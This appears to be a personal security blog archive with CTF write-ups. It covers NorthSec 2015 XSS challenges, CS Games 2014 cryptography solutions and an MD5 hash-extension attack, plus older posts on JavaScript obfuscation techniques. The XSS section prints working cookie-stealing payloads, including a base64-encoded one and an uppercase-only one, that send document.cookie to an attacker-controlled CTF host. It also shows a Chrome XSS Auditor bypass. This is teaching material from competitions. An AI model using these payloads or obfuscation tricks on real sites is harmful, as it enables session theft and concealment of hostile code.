Monday 25 May 2015

NorthSec 2015 - XSS Challenge Writeups

This weekend, the NorthSec CTF was held in Montreal. I got questions from a few teams about how we where able to do some of the XSS challenge since some of them where quite challenging. I don't have the exact source of the challenge, but I will give a rough approximation of it.

contact.asr.raclette.ctf


The page that we had to find and exploit a XSS was doing roughly this : 
<html>
<body id="sampleForm">
<form method=<?php echo htmlentities(filter($_GET['method'])); ?> action="<?php echo htmlentities(filter($_GET['action'])); ?>" >
Comments <textarea name="comment"></textarea>
<script>
document.write("<input type='submit' name='submit' ");
document.write("value=\"" + document.body.id);
document.write("\">");
</script>
</form>
</body>
</html>
The "filter" function was a function which replaced some pattern to the string "XSS DETECTED". At the first looked this could seems pretty legitimate since the parameters are properly HTML escaped. There is indeed no way to escape of the form tag. However the script that prints the submit button can be attacked with a technique called DOM clobbering. If we can give the form the name "body" and and assign an "id" value, when the script will be evaluated, the value of "document.body.id" will be the "id" we have defined. Great, we now have a way to injected arbitrary HTML code !

When we started exploiting this we weren't able to make the victim execute any JavaScript code, but we where getting hits when we where making the victim view an image tag that pointed to our server. The hits we where getting had the user agent of the latest version of Google Chrome. This was a very bad news, because Google Chrome activate the XSS Auditor actived by default. So we had to find a way to bypass the XSS Auditor of the latest version of Google Chrome. Yikes !

Luckily there's plenty of information that explains how the XSS Auditor can be bypassed. It essentially resolves around confusing the browser to make sure he can't reliably trace back the injected code with the parameter passed in the URL. When there's multiple parameters that can be injected this is usually a lot easier. What also helped a bit was the "filter" function which could be used to confuse the browser even more. One of the pattern it changed to "XSS DETECTED" was "**". The first part of the "confusion" was to split the beginning and the ending of the script in the 2 parameters.
http://contact.asr.raclette.ctf/?method=aa name=body id='"><script>&action="</script>'
* Note : The parameters of the URL aren't URL encoded to improve readability. It's going to be the same for all the URL in this article.

To add a bit of confusion we used the filter trick and did this
http://contact.asr.raclette.ctf/?method=aa name=body id='"><script>/**/.test(1);&action="</script>'
For the rest of the code, we used a simple eval() of a base64 string
http://contact.asr.raclette.ctf/?method=aa name=body id='"><script>eval(atob(&quot;d2luZG93LmxvY2F0aW9uPSJodHRwOi8vc2hlbGwuaGFja2xhYi5jdGYvIitidG9hKGRvY3VtZW50LmNvb2tpZSk=&quot;));/**/.test(1);&action="</script>'
When we forced the victim to visit that page, we could steal his cookie and get the flag. The flag was worth 6 points.

main.asr.raclette.ctf


The page that we had to find and exploit a XSS was doing roughly this : 
<html>
<body>
<?php echo strtoupper(filter($_GET['x'])); ?>
</body>
</html>
The filter function was removing some keyword like "src", which essentially prevented the inclusion of external script. Additionally, the XSS-Protection was explicitly turned off.

The main constraint of this challenge was that all character were transformed to upper case. This means that no lower case character could be used. All native JavaScript function and almost every useful variable of the DOM (ex.: window, document, cookie, etc. ) are lower case and case sensitive. Ouch !

Luckily JavaScript is really flexible as a language and it's possible to have valid JavaScript code that doesn't use letters and number ! I wrote about this 4 years ago for the curious. We don't have constraint that heavy, but some of the technique needed are the same.

The first step to execute arbitrary code is to have access to either "eval" or the "Function" constructor. The "Function" constructor is the easiest one to retrieve. To retrieve it and execute code we can use
[]["constructor"]["constructor"](code)();
$=(1+{})[6]+(1+{})[2]+([][[]]+"")[1]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[0]+(1+{})[6]+(!0+"")[0]+(1+{})[2]+(!0+"")[1];
$$=[][$][$];
$$( ... code here ...)();
For the code itself, to stay compact, the string part of the code where were number decoded in base36. To be able to execute this, we had to retrieve the string "toString" which was done with
_=(!0+"")[0]+(1+{})[2]+"S"+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[5]+([][[]]+"")[1]+(""[$]+"")[14];
After that we could decode number to string this way
1966241552[_](36) // window
1698633989591[_](36) // location
1071753937337[_](36) // document
767051222[_](36) // cookie
When wrapping everything together, it gives the following payload
http://main.asr.raclette.ctf/?x=<script>$=(1+{})[6]+(1+{})[2]+([][[]]+"")[1]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[0]+(1+{})[6]+(!0+"")[0]+(1+{})[2]+(!0+"")[1];$$=[][$][$];_=(!0+"")[0]+(1+{})[2]+"S"+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[5]+([][[]]+"")[1]+(""[$]+"")[14];$$(1966241552[_](36)+"."+1698633989591[_](36)+"='http://shell.hacklab.ctf/'+"+1071753937337[_](36)+"."+767051222[_](36))();</script>
When we forced the victim to visit that page, we could steal his cookie and get the flag. The flag was worth 4 points.

Friday 28 March 2014

CS Games 2014 - Cryptography Challenge Solutions

Crypto #2


This challenge was  about decrypting value which where encoded using a stream cipher and reused the same key. While the encryption method provided is a custom, it was mostly to simplify the problem and require a smaller subset of value to be able to solve it fast. If you where able to find the solution, the same principale can be used for any stream cipher encryption (ex.: RC4).

The main weakness here is that the same key is reused to encrypt all the value provided. For a stream cipher encryption algorithm what this mean is that all the plaintext will be XORed with the same value (for the first block) and we have a situation called a multiple time pad.

What you can do with a 2-time pad is the following :

plaintext1 XOR key = encrypted1
plaintext2 XOR key = encrypted2

encrypted1 XOR encrypted2 = (plaintext1 XOR key) XOR (plaintext2 XOR key) = plaintext1 XOR plaintext2

Now to find the exact value of the plaintext, what we have to do is the following :

 1 - Compute all combinaison of "caracter XOR caracter" for all caracter of the charset.
 2 - Lookup for all the possible caracter that have a result for "encrypted1[0] XOR encrypted2[0]" in the previous step. This will give a subset of possible caracters for plaintext1[0].
 3 - Repeat step 2 with "encrypted1[0] XOR encryptedX[0]" for all other encrypted value.
 4 - Since the value must be in all the subset you have found, intersect them all and you will have found first caracter of encrypted1.

With this, you should be able to decrypt the first block of the password of "thatguy".

For the other block, what you had to do is instead of using all the other block, you need to use all the block for which the previous block has the same value as the previous block of the plaintext of "thatguy".

Crypto #3


This challenge used AES-ECB. ECB mode is almost always a bad idea for very good reason. One of the reason is that if 2 block have the same plaintext, their output will be the same. If you split the encrypted text in 128 bits long block, you will see that the block where the secret is has the exact same value as an other block. So the result is the value of that other block which is known.

Crypto #4


There is a lot of way to do this challenge and you can find lot's of alternative solution to it on the Internet.

For this solution, I will do it in 2 parts. The first one is finding the length of key and the second one is finding the key.

To find the length of the key, you can use the Hamming distance of the binary representation between each block. Statistically speaking, the Hamming distance will be minimal when you compare 2 blocks that have the same length as the key. The reason this usually works well is that if you have the correct length "enc2 XOR enc1 = plain1 XOR plain2" and if plain1 and plain2 have similar ASCII code, the Hamming distance will be small.

The find the key, you can do it caracter by caracter. What you have to do is simply look for the caracter that when used to decrypt the message will yield caracters that are the closer to an English letter distribution.

And with the key, you can now decrypt the message.

Crypto #5


  - 477cbed015420a1a8923c4ebb68cc646 (MD5)
 - Y3NnYW1lcw== (Base64)
 - %63%73%67%61%6d%65%73 (URL Encode)
 - ca48aca99bf3b952a56305050f86eeb422e90d3e (SHA1)
 - a50aaf14c77970a80565f6d1cc51850d (MD4)
 - *2F5FD2319AE0721EE4A400DAB101B241D8E68D6B (MySQL PASSWORD)
 - pftnzrf (ROT13 or CAESAR CIPHER)

Crypto #7


This challenge was about using the Meet-in-the-middle concept. You first had to notice that for the first block, the plaintext is always known "<message><conten" and you also had access to the encrypted value of it "d09e268648cc0684a2b34c4b87b017da" (first block of the encrypted value). To perform the meet-in-the-middle, store in an hash map the encrypted value of "<message><conten" for all the possibility of the first part of the key. After that decrypt "d09e268648cc0684a2b34c4b87b017da" with all the possibility of the second part of the key and lookup in the previous hash map if the result exists in it. If it exists, it means you have found the 2 parts of the key.

Further read


If you want to see the implementation of the solution or see the challenge again, you can find them here : https://github.com/HoLyVieR/CS-Games-2014-CryptoChallenge.

If you are interested in doing more cryptography, you can take a look at the cryptography course on Coursera or start doing the Matasano crypto challenge.

Monday 10 February 2014

CTF Olympic - Emdee - An alternate approach

The "Emdee" challenge featured at the Olympic CTF required you to find a secret and salt that was hashed together. To be able to achieve it, you had access to a web API that was hashing for you a message of your choice with the salt and a timestamp. The normal approach to do it was to find the salt by using backspace characters for the message. This would reduce the length of the salt, allowed you to bruteforce smaller part of the salt and progressively get it. However, what I will present is how to get the secret without knowing the salt. One of the reason I find it interesting to talk about it is because it's a good introduction to hash extensions and most people seemed surprise that it was even possible.

First, let's look at how the message are hashed and how MD5 works at a high-level.

MD5


MD5 uses a Merkle-Damgard construction which can be described with the following image that's taken directly from Wikipedia.


In the case of MD5, the IV is static, the function "f" can found in any implementation of MD5 and the padding is constructed by adding 0x80 + (0x00)*(N) + (length of what is hashed). Here N is adjusted so that the length of the last block is exactly 64 bytes long.

The message


The message you have to find is given by MD5(salt+ secret).
The output of the API is given by MD5(salt+ input + timestamp) and the timestamp used is returned to you.

Doing the hash extension


So with that in mind, we now know that the message was evaluated this way:
hashed message = f(PADDING(salt + secret), IV)

And we also know that the output of the API is the following:
output = f(PADDING(salt + input + timestamp), IV)

For the message, it is likely that the length is below 64 bytes, so we will assume it always fit on a single block. For the output however, if the content gets bigger than 64 bytes it will then be hashed the following way:

txt = PADDING(salt + input + timestamp)
output = f(substring(txt, 64, 128), f(substring(txt, 0, 64), IV))

Where it starts to get interesting is that we can make the first 64 bytes equals to PADDING(salt + secret) and this will happen:

txt = PADDING(salt + input + timestamp)
output = f(substring(txt, 64, 128), f(PADDING(SALT + secret), IV))
output = f(timestamp + padding, hashed message)

And this means that we can verify if the secret we have sent to the server is correct if the following holds:

f(timestamp given by the API + padding, hashed message) = output of the API

To have the hash extension work properly, you need to know the length of the salt otherwise the padding will be incorrect. Since it's unknown for the problem we will have to test for both the secret and the length of salt.

Conclusion


When all wrapped up together it gives the following :
https://gist.github.com/HoLyVieR/8920691

This allowed you to find the length of the salt and the secret message. In the case of the challenge the length was 40 and the secret was "cow".




Tuesday 22 November 2011

Javascript Obfuscation - Properties access

The way we access properties of an object in Javascript is pretty much straight forward with some tiny exceptions. What is interesting for obfuscation though is the way we use it and that's what we will see.

Common object properties access

The most common way to access property of an object is by using the dot notation. It's very simple, but for obfuscation it's not very convenient since we have to explicitly tell what property we want to access. However, there is a second way to access a property that is more convenient for obfuscation and it's with the bracket notation. Example :

var foo = {a : 1};
foo.a // dot notation
foo["a"] // bracket notation


The reason the second one is more convenient for obfuscation is that it takes a string and has we have seen before we can easily use obfuscation technique to produce the string we want. So the previous example can be rewritten has :

var foo = {a : 1};
foo[(!1+"")[1]]


Number properties access 

Numbers do have 2 extra ways to access their properties. Those 2 ways where made up because the dot notation is not adapted for numbers. For that reason we have the "dot-dot" notation and the "space-dot" notation to access properties of a number. They are usually unknown to most of the developer even from experienced Javascript developer. Example :

1..toFixed(2) === "1.00"
(1 .constructor+"")[11] === "m"

Sunday 20 November 2011

Javascript Obfuscation - The numbers

The numbers

In this section we will explore the different ways we can get number values. The way javascript handles number and operator have a good set of particular behavior that can be surprising and we will see those behavior in detail. Also numbers in javascript only exist in one flavor 64-bit float. Whether we are talking about 1 or 0.5, it's always a 64-bit float.

Number declaration

There are multiple way of declaring a number, most of them are simple, but it can always be interesting to use a variety of them to confuse the reader.

 Notation  Expression 
Decimal100
Octal0144
Hexadecimal0x64

Using parseInt

The "parseInt" function has two particularities that are very interesting for obfuscation. The first one is that if you don't pass a 2nd argument to the function, it won't default to base 10, but it will try to guess the base of your number.

parseInt("10") === 10
parseInt("010") === 8


The second particularity of the function is that you can pass anything as a first argument including object and function. When you pass it something that isn't a string as the first argument, it will internally cast it as a string. Here are few examples that are using this point :

parseInt([].sort, 16) === 15 // function ... with base 16
parseInt([][[]], 31) === 26231474015353 // undefined ... with base 31


Casting anything to number

It's also possible to obtain number with the "+" operator as an unary operator. The result of the operation will be 1 or 0, expect if what you are prefixing is a number or a string. In fact for anything that isn't a string or a number the result of the operation is based on whether what you are trying to cast is truthy of falsy. Here's a good summary of what you can do with it :

Expression Result
+[]0
+""0
+!![]1
+null0
+true1
+false0
+"10"10
+"010"10

Note: I left the last one to point out that the "+" operator will always try to cast a number with base 10.

Sunday 30 October 2011

Javascript Obfuscation - Getting "window"

In this section, I will show how to get the "window" global variable in an obfuscated way. This section is strongly related to how context works in javascript. If you have no clue what context are in javascript I suggest you take a look at what it is before reading this.

The most common method in javascript obfuscation to access "window" in an obfuscated way is to leak it. In standard mode (non "strict mode"), the global object (window) can leak in some cases. Here's a quick example to show how you can leak it :

function test() {
    return this;
}

a = test();


The variable "a" will now contain "window". This is a simple example, but it's not that great for obfuscation. What is better to use for obfuscation are native method that can leak the "window". One of the native method that is the simplest and most reliable to leak the global object from is "Array.prototype.concat".

Example :

a = [].concat; // We create a reference to Array.prototype.concat
b= a()[0]; // b now contains "window"


If you want to obfuscate this further you can always use the trick learned in the previous blog post and transform it into this :

[_=[][(1+{})[6]+(1+{})[2]+([][0]+"")[1]+(1+{})[6]+(!1+"")[1]+(!0+"")[0]],__=_()[0]]

Now "__" contains the "window" global object.

Javascript Obfuscation - Rewriting block of code

This section is about how to rewrite block of code in an obfuscated way. One of the obvious thing to do to chain your operation is to remove all the extra spacing, but this technique won't get you far since simple tool like jsbeautifier will unobfuscate your code very easily. What will we see is divided in 2 sections, the first one is about block of code that don't use any loop or condition, and the second one is about rewriting code that uses condition.

Simple block of code

Using array declaration

Array declaring are a nice and compact way to rewrite a block of code especially if we are re-using result from previous operation.

Example :

foo = 1;
bar = foo + 2;


Can be rewritten as :

[bar = [foo = 1][0] + 2];


This example is trivial, but there is one interesting thing to note. Most unobfuscator won't be able to rewrite the code in a nice way. If you use this pattern with larger amount of code, it will be a pain for people to understand the code even if they use tools.

Note : You can use the same principle with object declaration, but the syntax is less light and easier to follow.

Comma and parentheses

Using comma in parentheses is an other way to obfuscate code that is very similar to the previous one. It's something that most people don't know about and it's something that can leave most people perplex about the result.

Example :

({a:1},{a:2}).a


What is the result of this expression ? 1, 2 or an error ?

The actual answer is 2, because when you separate multiple operation with a comma in parentheses, the result of the parentheses is the result of the last operation. Once you know it it's simple, but for people that aren't aware of it, it can be puzzling.

Lisp style

This one last trick is interesting just for the look. It's mainly about syntax that use an abusive amount of parentheses.

Example :

(function z(){ return(z); })((foo = (1)))((bar = ((foo) + (2))))((alert((bar))))


If you are using a lot of a specific set of character in general, your code will be harder to read. Parentheses here are just an example, but it could also apply to "{" and "}".

Rewriting conditional block of code

In javascript it's possible to replace block of code that uses if/else statement using the conditional operator (ternary operator), logic operator (&&, ||), parentheses and comma.

Let's first take a look at what we can do with logic operator, parentheses and comma. This technique primarily uses the fact that logic operator are evaluated in a lazy way and that some block of code will only be executed in the cases we want.

Example :

if (test == 2) {
    bob = 1;
    foo = bob + 2;
}


Can be rewritten as :

(test == 2 && (bob = 1, foo = bob + 2))


With this technique we can also transform else statement with a little bit of logic.

Example :

if (test == 2) {
    bob = 1;
    foo = bob + 2;
} else {
    bob = 2;
}


Can be rewritten as :

((test == 2 && (bob = 1, foo = bob + 2, true)) || (bob = 2))


Note : The "true" is added there to make sure the first part of the expression always evaluate to true if test equals 2. This is a good trick to make sure the code will do the exact same thing even if we swap the "bob = 1, foo = bob + 2" part for something else. "true" can also be replaced with "1" or any expression that is truthy.

There is also the conditional operator (often called the ternary operator) that is useful to achieve the same thing. For the 2 previous examples using the conditional operator it would look like this :

(test == 2) ? (bob = 1, foo = bob + 2) : void(0)


and

(test == 2) ? (bob = 1, foo = bob + 2) : (bob = 2)